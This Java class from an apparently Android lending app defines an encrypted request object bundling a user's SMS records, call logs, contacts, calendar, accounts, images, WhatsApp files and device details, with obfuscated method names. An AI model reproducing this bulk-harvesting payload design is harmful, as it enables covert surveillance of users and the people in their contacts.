package com.cote.douhahou.pretloan.beans;

import com.cote.douhahou.pretloan.any.data.AkomapalendASBuilder;
import com.cote.douhahou.pretloan.utils.AkomapaLendConfigs;
import com.cote.douhahou.pretloan.utils.AkomapaLendUtil;
import com.google.gson.Gson;

public class AkomapalendASRequestPms {

    public String app;
    public String token;
    public String product;
    public String androidId;
    public String advertId;
    public String orderId;
    public String tz;
    public String packageName;
    public String transactionId;
    public String type;
    public String userPhone;
    public String version = "40";
    public String client = "ANDROID";
    public AkomapalendASDecBn deviceInfo;
    public String appListGzip;
    public String smsRecordsGzip;
    public String smsFetchType;
    public String userImagesGzip;
    public String deviceHardwareGzip;
    public String deviceStorageGzip;
    public String deviceWifiGzip;
    public String deviceBatteryGzip;
    public String deviceMediaGzip;
    public String callLogListGzip;
    public String bookList;
    public String phoneBooksGzip;
    public String calendarGzip;
    public String settingAccountGzip;
    public String whatsAppFilesGzip;
    public String path;

    public AkomapalendASRequestPms() {
        this.app = AkomapaLendConfigs.MyProduct;
        this.product = AkomapaLendConfigs.MyProduct;
        this.token = AkomapaLendUtil.token();
        this.androidId = AkomapalendASBuilder.KEY_ANDROID;
        this.orderId = AkomapalendASBuilder.KEY_ORDER_ID;
        this.advertId = AkomapalendASBuilder.KEY_ADVERT_ID;
        this.tz = AkomapalendASBuilder.KEY_TZ;

    }

    public void sSR(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public String app() {
        return app;
    }

    public String tk() {
        return token;
    }

    public String product() {
        return product;
    }

    public String type() {
        return type;
    }

    public String version() {
        return version;
    }

    public void app(String app) {
        this.app = app;
    }

    public void etALkomapalend(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public void sCL(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public String toEnptParam(String path){
        this.path = path;
        String content = new Gson().toJson(this).trim();
        return AkomapaLendUtil.aesEncrypt(content);
    }

    public void stmaplend(String bookList) {
        this.bookList = bookList;
    }

    public void stPBmapalend(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public void seDHG(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public void stDSG(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public void stDW(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public void stDB(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public void stkomapalend(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

}
